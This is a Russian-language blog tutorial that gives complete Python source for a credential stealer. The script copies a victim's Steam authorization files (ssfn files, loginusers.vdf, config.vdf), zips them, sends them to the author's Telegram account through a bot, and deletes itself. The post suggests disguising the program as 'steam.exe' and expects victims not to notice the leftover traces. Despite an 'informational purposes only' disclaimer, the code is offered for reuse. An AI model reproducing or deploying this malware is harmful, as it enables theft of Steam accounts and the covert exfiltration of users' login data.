November 4, 2019

Отправка Steam файлов авторизации через бота в телеграм

Весь материал исключительно в ознакомительных целях.
Все началось с этой статьи:

Мне захотелось сделать скрипт который будет копировать эти файлы и отправлять их нам в архиве.
Меньше слов больше кода.

Начинаем как обычно с импорта зависимостей. Рекомендую конвертировать скрипт в exe с помощью PyInstaller.

import os
import shutil
import zipfile
from telethon import TelegramClient, events
import asyncio

Далее зададим константы:

exe_name = 'steam.exe'
FOLDER_ARCHIVE = os.getenv('APPDATA') + '\\cache'
STEAM_PATH = 'C:\\Program Files (x86)\\Steam' 
YOU_ID = 123123123
bot = TelegramClient('bot', 123123, 'xxxxxxxxxxxxxxxx').start(bot_token='123123:xxxxxxx-xxxxxxxx')

В exe_name необходимо вписать название нашего будущего файла, т.к. после отправления данных, он самоликвидируется.
Вторая строка - место, куда временно будут сохраняться файлы до отправки. После отправки мы их конечно же удалим.
Третья строка отвечает за папку стима, по умолчанию стим устанавливается в C:\\Program Files (x86)\\Steam.
На четвертой строке мы указываем наш айди в телеграме. Не забывайте что боту надо написать старт что бы он мог вам что либо отправлять.
Т.к. отправка будет происходить с помощью либы telethon - нам необходимо получить api_id и api_hash ну и соответственно бот токен.
Как получить api_id и api_hash можете узнать в этой статье: Клик
Токен бота получаем у @BotFather.

С самым сложным разобрались, давайте двигаться к лёгкому.
Далее идёт функция создания папки, копирования файлов и их дальнейшая архивация.

async def get_files():
	try:
		os.makedirs(FOLDER_ARCHIVE)
	except:
		pass
	ssfn_array = []
	for root, dirs, files in os.walk(STEAM_PATH):
		for i in files:
			if i.startswith('ssfn'):
				ssfn_array.append(i)

	shutil.copy(STEAM_PATH + '\\config\\config.vdf', FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + '\\config\\loginusers.vdf', FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + '\\config\\steamapps.vrmanifest', FOLDER_ARCHIVE)
	for ssfn in ssfn_array:
		shutil.copy(STEAM_PATH + '\\' + ssfn, FOLDER_ARCHIVE)

	file = os.listdir(FOLDER_ARCHIVE)
	for filess in file:
		newzip = zipfile.ZipFile(FOLDER_ARCHIVE + '\\steams.zip','a')
		newzip.write(FOLDER_ARCHIVE +'\\' + str(filess))
		newzip.close()

Итак, поподробнее, на первых четырёх строчках,используя try-except, мы пробуем создать папку если таковой нет в AppData/Roaming, если такой папки не существует то мы её создадим. Далее мы с помощью цикла идём по папке Steam и ищем там заветные ssfn файлы, добавляем их в массив для последующего копирования.
Далее идут 3 строки которые отвечают за копирование нужных файлов авторизации. Затем мы проходим циклом по массиву с нашими ssfn файлами и так же копируем их в нужную нам папку.

Далее идёт очень фрагмент кода, в нём мы архивируем все файлы из папки в которую сохранили конфиги. После создания архива, прописываем главную функцию.

async def main():
	await get_files()
	await bot.send_file(YOU_ID, FOLDER_ARCHIVE + '\\steams.zip')
	shutil.rmtree(FOLDER_ARCHIVE, ignore_errors=True, onerror=None)
	os.remove(os.getcwd() + '\\' + exe_name)

asyncio.get_event_loop().run_until_complete(main())

Здесь сначала создаётся асинхронная функция, потому что Teleton работает только асинхронно. Далее вызываем функцию по созданию архива, затем отправляем на ваш айди архив, после чего удаляем папку из AppData/Roaming и сам скрипт. к сожалению, у пользователя остаётся файл сессии, но не думаю что обычный юзер поймет, для чего он и попросту его удалит.

Последняя строка отвечает за запуск функции main().

Полный листинг:

import os
import shutil
import zipfile
from telethon import TelegramClient, events
import asyncio

exe_name = 'steam.exe'
FOLDER_ARCHIVE = os.getenv('APPDATA') + '\\cache'
STEAM_PATH = 'C:\\Steam' 
YOU_ID = 123123
bot = TelegramClient('bot', 123123, 'xxxxxxx').start(bot_token='123123:xxxx-xxxx')

async def get_files():
	try:
		os.makedirs(FOLDER_ARCHIVE)
	except:
		pass
	ssfn_array = []
	for root, dirs, files in os.walk(STEAM_PATH):
		for i in files:
			if i.startswith('ssfn'):
				ssfn_array.append(i)

	shutil.copy(STEAM_PATH + '\\config\\config.vdf', FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + '\\config\\loginusers.vdf', FOLDER_ARCHIVE)
	shutil.copy(STEAM_PATH + '\\config\\steamapps.vrmanifest', FOLDER_ARCHIVE)
	for ssfn in ssfn_array:
		shutil.copy(STEAM_PATH + '\\' + ssfn, FOLDER_ARCHIVE)

	file = os.listdir(FOLDER_ARCHIVE)
	for filess in file:
		print(filess)
		newzip = zipfile.ZipFile(FOLDER_ARCHIVE + '\\steams.zip','a')
		newzip.write(FOLDER_ARCHIVE +'\\' + str(filess))
		newzip.close()

async def main():
	await get_files()
	await bot.send_file(YOU_ID, FOLDER_ARCHIVE + '\\steams.zip')
	shutil.rmtree(FOLDER_ARCHIVE, ignore_errors=True, onerror=None)
	os.remove(os.getcwd() + '\\' + exe_name)

asyncio.get_event_loop().run_until_complete(main())
Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.

Телеграм канал: https://t.me/CodingCommunity